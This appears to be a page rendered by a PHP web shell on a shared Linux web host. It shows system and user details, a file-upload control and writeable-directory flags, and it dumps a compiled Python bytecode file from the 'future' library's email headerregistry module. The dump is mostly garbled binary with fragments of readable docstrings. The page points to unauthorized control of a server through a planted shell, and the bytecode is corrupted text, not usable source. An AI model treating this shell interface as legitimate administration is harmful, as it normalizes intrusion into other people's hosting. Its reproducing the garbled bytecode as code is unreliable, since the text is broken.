https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/future/backports/email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/future/backports/email/__pycache__/headerregistry.cpython-310.pyc
o

,�]�P�@sdZddlmZddlmZddlmZddlmZddlmZddlm	Z	ddl
mZdd	l
mZdd
l
m
ZGdd�de�ZGd
d�de�ZGdd�de�Zdd�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd �d e�ZGd!d"�d"e�ZGd#d$�d$e�ZGd%d&�d&e�ZGd'd(�d(e�ZGd)d*�d*e�ZGd+d,�d,e�Z id-e�d.e�d/e�d0e�d1e�d2e�d3e�d4e�d5e�d6e�d7e�d8e�d9e�d:e�d;e�d<e�d=e�ee d>��Z!Gd?d@�d@e�Z"dAS)Ba;Representing and manipulating email headers via custom objects.

This module provides an implementation of the HeaderRegistry API.
The implementation is designed to flexibly follow RFC5322 rules.

Eventually HeaderRegistry will be a public API, but it isn't yet,
and will probably change some before that happens.

�)�unicode_literals)�division)�absolute_import)�super��str)�text_to_native_str)�utils)�errors)�_header_value_parserc@s^eZdZddd�Zedd��Zedd��Zed	d
��Zedd��Zd
d�Z	dd�Z
dd�ZdS)�Address�NcCsl|dur+|s|rtd��t�|�\}}|rtd�||���|jr%|jd�|j}|j}||_||_	||_
dS)a�Create an object represeting a full email address.

        An address can have a 'display_name', a 'username', and a 'domain'.  In
        addition to specifying the username and domain separately, they may be
        specified together by using the addr_spec keyword *instead of* the
        username and domain keywords.  If an addr_spec string is specified it
        must be properly quoted according to RFC 5322 rules; an error will be
        raised if it is not.

        An Address object has display_name, username, domain, and addr_spec
        attributes, all of which are read-only.  The addr_spec and the string
        value of the object are both quoted according to RFC5322 rules, but
        without any Content Transfer Encoding.

        Nz=addrspec specified when username and/or domain also specifiedz6Invalid addr_spec; only '{}' could be parsed from '{}'r)�	TypeError�parser�
get_addr_spec�
ValueError�format�all_defects�
local_part�domain�
_display_name�	_username�_domain)�self�display_name�usernamer�	addr_spec�a_s�rest�r�G/usr/lib/python3/dist-packages/future/backports/email/headerregistry.py�__init__s"��

zAddress.__init__cC�|jS�N�r�rrrr r<�zAddress.display_namecCr"r#)rr%rrr r@r&zAddress.usernamecCr"r#)rr%rrr rDr&zAddress.domaincCsTt|j�}t|�t|tj�krt�|j�}n|j}|jr$|d|jS|s(dS|S)z�The addr_spec (username@domain) portion of the address, quoted
        according to RFC 5322 rules, but with no Content Transfer Encoding.
        �@�<>)�setr�lenr�
DOT_ATOM_ENDS�quote_stringr)r�nameset�lprrr rHs
zAddress.addr_speccCsd�|j|j|j�S)Nz6Address(display_name={!r}, username={!r}, domain={!r}))rrrrr%rrr �__repr__Xs�zAddress.__repr__cCs^t|j�}t|�t|tj�krt�|j�}n|j}|r,|jdkr#dn|j}d�||�S|jS)Nr(r
z{} <{}>)r)rr*r�SPECIALSr,rr)rr-�disprrrr �__str__\s
zAddress.__str__cCs8t|�t|�kr
dS|j|jko|j|jko|j|jkS�NF)�typerrr�r�otherrrr �__eq__gs
�
�zAddress.__eq__)r
r
r
N)�__name__�
__module__�__qualname__r!�propertyrrrrr/r2r7rrrr rs
%



rc@sFeZdZddd�Zedd��Zedd��Zdd	�Zd
d�Zdd
�Z	dS)�GroupNcCs$||_|rt|�|_dSt�|_dS)aCreate an object representing an address group.

        An address group consists of a display_name followed by colon and an
        list of addresses (see Address) terminated by a semi-colon.  The Group
        is created by specifying a display_name and a possibly empty list of
        Address objects.  A Group can also be used to represent a single
        address that is not in a group, which is convenient when manipulating
        lists that are a combination of Groups and individual Addresses.  In
        this case the display_name should be set to None.  In particular, the
        string representation of a Group whose display_name is None is the same
        as the Address object, if there is one and only one Address object in
        the addresses list.

        N)r�tuple�
_addresses)rr�	addressesrrr r!qszGroup.__init__cCr"r#r$r%rrr r�r&zGroup.display_namecCr"r#)r>r%rrr r?�r&zGroup.addressescCsd�|j|j�S)Nz'Group(display_name={!r}, addresses={!r})rrr?r%rrr r/�s�zGroup.__repr__cCs�|jdurt|j�dkrt|jd�S|j}|dur.t|�}t|�t|tj�kr.t�|�}d�dd�|jD��}|r?d|n|}d�	||�S)N�r�, css�|]}t|�VqdSr#r)�.0�xrrr �	<genexpr>�s�z Group.__str__.<locals>.<genexpr>� z{}:{};)
rr*r?rr)rr0r,�joinr)rr1r-�adrstrrrr r2�s
z
Group.__str__cCs,t|�t|�kr
dS|j|jko|j|jkSr3)r4rr?r5rrr r7�s

�zGroup.__eq__)NN)
r8r9r:r!r;rr?r/r2r7rrrr r<os


r<c@sTeZdZdZdd�Zdd�Zedd��Zedd	��Zd
d�Z	e
dd
��Zdd�ZdS)�
BaseHeadera|Base class for message headers.

    Implements generic behavior and provides tools for subclasses.

    A subclass must define a classmethod named 'parse' that takes an unfolded
    value string and a dictionary as its arguments.  The dictionary will
    contain one key, 'defects', initialized to an empty list.  After the call
    the dictionary must contain two additional keys: parse_tree, set to the
    parse tree obtained from parsing the header, and 'decoded', set to the
    string value of the idealized representation of the data from the value.
    (That is, encoded words are decoded, and values that have canonical
    representations are so represented.)

    The defects key is intended to collect parsing defects, which the message
    parser will subsequently dispose of as appropriate.  The parser should not,
    insofar as practical, raise any errors.  Defects should be added to the
    list instead.  The standard header parsers register defects for RFC
    compliance issues, for obsolete RFC syntax, and for unrecoverable parsing
    errors.

    The parse method may add additional keys to the dictionary.  In this case
    the subclass must define an 'init' method, which will be passed the
    dictionary as its keyword arguments.  The method should use (usually by
    setting them as the value of similarly named attributes) and remove all the
    extra keys added by its parse method, and then use super to call its parent
    class with the remaining arguments and keywords.

    The subclass should also make sure that a 'max_count' attribute is defined
    that is either None or 1. XXX: need to better define this API.

    cCsZdgi}|�||�t�|d�rt�|d�|d<t�||d�}|j|fi|��|S)N�defects�decoded)�parser	�_has_surrogates�	_sanitizer�__new__�init)�cls�name�value�kwdsrrrr rN�szBaseHeader.__new__cKs2|d}|d=|d}|d=||_||_||_dS)NrI�
parse_tree)�_name�_parse_tree�_defects)rrQ�_3to2kwargsrIrTrrr rO�s

zBaseHeader.initcCr"r#)rUr%rrr rQ�r&zBaseHeader.namecCs
t|j�Sr#)r=rWr%rrr rI��
zBaseHeader.defectscCst|jj|jjt|�f|jfSr#)�_reconstruct_header�	__class__r8�	__bases__r�__dict__r%rrr �
__reduce__�s��zBaseHeader.__reduce__cCst�||�Sr#)rrN)rPrRrrr �_reconstruct�szBaseHeader._reconstructc	KsZ|d}|d=	t�t�t�|jd�t�dd�g�t�t�dd�g�|jg�}|j|d�S)N�policyzheader-name�:z
header-seprE�fws)r`)	r�Header�HeaderLabel�
ValueTerminalrQ�CFWSList�WhiteSpaceTerminalrV�fold)rrXr`�headerrrr rh�s
��zBaseHeader.foldN)
r8r9r:�__doc__rNrOr;rQrIr^�classmethodr_rhrrrr rH�s 




rHcCstt|�|i��|�Sr#)r4rr_)�cls_name�basesrRrrr rZsrZc@s&eZdZdZeej�Zedd��Z	dS)�UnstructuredHeaderNcCs"|�|�|d<t|d�|d<dS)NrTrJ)�value_parserr�rPrRrSrrr rKszUnstructuredHeader.parse)
r8r9r:�	max_count�staticmethodr�get_unstructuredrorkrKrrrr rns

rnc@�eZdZdZdS)�UniqueUnstructuredHeaderr@N�r8r9r:rqrrrr ru�rucsFeZdZdZdZeej�Ze	dd��Z
�fdd�Zedd��Z
�ZS)	�
DateHeadera�Header whose value consists of a single timestamp.

    Provides an additional attribute, datetime, which is either an aware
    datetime using a timezone, or a naive datetime if the timezone
    in the input string is -0000.  Also accepts a datetime as input.
    The 'value' attribute is the normalized form of the timestamp,
    which means it is the output of format_datetime on the datetime.
    NcCsz|s|d�t���d|d<d|d<t��|d<dSt|t�r%t�|�}||d<t�	|d�|d<|�
|d�|d<dS)NrI�datetimer
rJrT)�appendr
�HeaderMissingRequiredValuer�	TokenList�
isinstancerr	�parsedate_to_datetime�format_datetimerorprrr rK,s

zDateHeader.parsec�"|�d�|_t�j|i|��dS)Nry)�pop�	_datetimerrO�r�args�kw�r[rr rO:�zDateHeader.initcCr"r#)r�r%rrr ry>r&zDateHeader.datetime)r8r9r:rjrqrrrrsrorkrKrOr;ry�
__classcell__rrr�r rxs	


rxc@rt)�UniqueDateHeaderr@Nrvrrrr r�Crwr�csPeZdZdZedd��Zedd��Z�fdd�Ze	dd	��Z
e	d
d��Z�ZS)�
AddressHeaderNcCst�|�\}}|r
Jd��|S)Nzthis should not happen)r�get_address_list)rR�address_listrrr roLszAddressHeader.value_parsercCs�t|t�r+|�|�|d<}g}|jD]}|�t|jdd�|jD���qt|j	�}nt
|d�s3|g}dd�|D�}g}||d<||d<d�d	d�|D��|d
<d|vr_|�|d
�|d<dSdS)NrTcSs*g|]}t|jp	d|jp
d|jpd��qS)r
)rrrr)rB�mbrrr �
<listcomp>[s
��z'AddressHeader.parse.<locals>.<listcomp>�__iter__cSs&g|]}t|d�std|g�n|�qS)r?N)�hasattrr<�rB�itemrrr r�ds
���groupsrIrAcSsg|]}t|��qSrrr�rrr r�jsrJ)r}rror?rzr<r�
all_mailboxes�listrr�rF)rPrRrSr�r��addrrIrrr rKRs,


��
��zAddressHeader.parsecs,t|�d��|_d|_t�j|i|��dS)Nr�)r=r��_groupsr>rrOr�r�rr rOnszAddressHeader.initcCr"r#)r�r%rrr r�sr&zAddressHeader.groupscCs&|jdurtdd�|jD��|_|jS)NcSsg|]
}|jD]}|�qqSr)r?)rB�group�addressrrr r�zs
�
�z+AddressHeader.addresses.<locals>.<listcomp>)r>r=r�r%rrr r?ws
zAddressHeader.addresses)
r8r9r:rqrrrorkrKrOr;r�r?r�rrr�r r�Hs


r�c@rt)�UniqueAddressHeaderr@Nrvrrrr r�rwr�c@seZdZedd��ZdS)�SingleAddressHeadercCs(t|j�dkrtd�|j���|jdS)Nr@z9value of single address header {} is not a single addressr)r*r?rrrQr%rrr r��s
�
zSingleAddressHeader.addressN)r8r9r:r;r�rrrr r��sr�c@rt)�UniqueSingleAddressHeaderr@Nrvrrrr r��rwr�csZeZdZdZeej�Zedd��Z	�fdd�Z
edd��Zedd	��Z
ed
d��Z�ZS)�MIMEVersionHeaderr@cCs�|�|�|d<}t|�|d<|d�|j�|jdurdn|j|d<|j|d<|jdur;d�|d|d�|d<dSd|d<dS)NrTrJrI�major�minorz{}.{}�version)ror�extendrr�r�r�rPrRrSrTrrr rK�s

zMIMEVersionHeader.parsecs:|�d�|_|�d�|_|�d�|_t�j|i|��dS)Nr�r�r�)r��_version�_major�_minorrrOr�r�rr rO�szMIMEVersionHeader.initcCr"r#)r�r%rrr r��r&zMIMEVersionHeader.majorcCr"r#)r�r%rrr r��r&zMIMEVersionHeader.minorcCr"r#)r�r%rrr r��r&zMIMEVersionHeader.version)r8r9r:rqrrr�parse_mime_versionrorkrKrOr;r�r�r�r�rrr�r r��s



r�cs8eZdZdZedd��Z�fdd�Zedd��Z�Z	S)�ParameterizedMIMEHeaderr@cCs`|�|�|d<}t|�|d<|d�|j�|jdur"i|d<dStdd�|jD��|d<dS)NrTrJrI�paramscss,�|]\}}t�|���t�|�fVqdSr#)r	rM�lower)rBrQrRrrr rD�s���z0ParameterizedMIMEHeader.parse.<locals>.<genexpr>)rorr�rr��dictr�rrr rK�s
�zParameterizedMIMEHeader.parsecr�)Nr�)r��_paramsrrOr�r�rr rO�r�zParameterizedMIMEHeader.initcCs
|j��Sr#)r��copyr%rrr r��rYzParameterizedMIMEHeader.params)
r8r9r:rqrkrKrOr;r�r�rrr�r r��s
r�csJeZdZeej�Z�fdd�Zedd��Z	edd��Z
edd��Z�ZS)	�ContentTypeHeadercs6t�j|i|��t�|jj�|_t�|jj�|_dSr#)	rrOr	rMrV�maintype�	_maintype�subtype�_subtyper�r�rr rO�szContentTypeHeader.initcCr"r#)r�r%rrr r��r&zContentTypeHeader.maintypecCr"r#)r�r%rrr r��r&zContentTypeHeader.subtypecCs|jd|jS)N�/)r�r�r%rrr �content_type�szContentTypeHeader.content_type)
r8r9r:rrr�parse_content_type_headerrorOr;r�r�r�r�rrr�r r��s


r�cs2eZdZeej�Z�fdd�Zedd��Z	�Z
S)�ContentDispositionHeadercs<t�j|i|��|jj}|dur||_dSt�|�|_dSr#)rrOrV�content_dispositionr	rM�_content_disposition)rr�r��cdr�rr rO�s"zContentDispositionHeader.initcCr"r#)r�r%rrr r��r&z,ContentDispositionHeader.content_disposition)r8r9r:rrr� parse_content_disposition_headerrorOr;r�r�rrr�r r��s

r�csBeZdZdZeej�Zedd��Z	�fdd�Z
edd��Z�Z
S)�ContentTransferEncodingHeaderr@cCs2|�|�|d<}t|�|d<|d�|j�dS)NrTrJrI)rorr�rr�rrr rK�sz#ContentTransferEncodingHeader.parsecs&t�j|i|��t�|jj�|_dSr#)rrOr	rMrV�cte�_cter�r�rr rOsz"ContentTransferEncodingHeader.initcCr"r#)r�r%rrr r�	r&z!ContentTransferEncodingHeader.cte)r8r9r:rqrrr�&parse_content_transfer_encoding_headerrorkrKrOr;r�r�rrr�r r��s

r��subject�datezresent-datez	orig-date�senderz
resent-sender�toz	resent-to�ccz	resent-cc�bccz
resent-bcc�fromzresent-fromzreply-tozmime-versionzcontent-type)zcontent-dispositionzcontent-transfer-encodingc@s8eZdZdZeedfdd�Zdd�Zdd�Zd	d
�Z	dS)�HeaderRegistryz%A header_factory and header registry.TcCs*i|_||_||_|r|j�t�dSdS)a�Create a header_factory that works with the Policy API.

        base_class is the class that will be the last class in the created
        header class's __bases__ list.  default_class is the class that will be
        used if "name" (see __call__) does not appear in the registry.
        use_default_map controls whether or not the default mapping of names to
        specialized classes is copied in to the registry when the factory is
        created.  The default is True.

        N)�registry�
base_class�
default_class�update�_default_header_map)rr�r��use_default_maprrr r!*s�zHeaderRegistry.__init__cCs||j|��<dS)zLRegister cls as the specialized class for handling "name" headers.

        N)r�r��rrQrPrrr �map_to_type<szHeaderRegistry.map_to_typecCs0|j�|��|j�}ttd|j�||jfi�S)N�_)r��getr�r�r4rr8r�r�rrr �__getitem__BszHeaderRegistry.__getitem__cCs||||�S)a�Create a header instance for header 'name' from 'value'.

        Creates a header instance by creating a specialized class for parsing
        and representing the specified header by combining the factory
        base_class with a specialized class from the registry or the
        default_class, and passing the name and value to the constructed
        class's constructor.

        r)rrQrRrrr �__call__Fs
zHeaderRegistry.__call__N)
r8r9r:rjrHrnr!r�r�r�rrrr r�&s
�r�N)#rj�
__future__rrr�future.builtinsrr�future.utilsr�future.backports.emailr	r
rr�objectrr<rHrZrnrurxr�r�r�r�r�r�r�r�r�r�r�r�rrrr �<module>s�	Z5d'7
%��������	�
���
������

https://t.me/RX1948 - 2025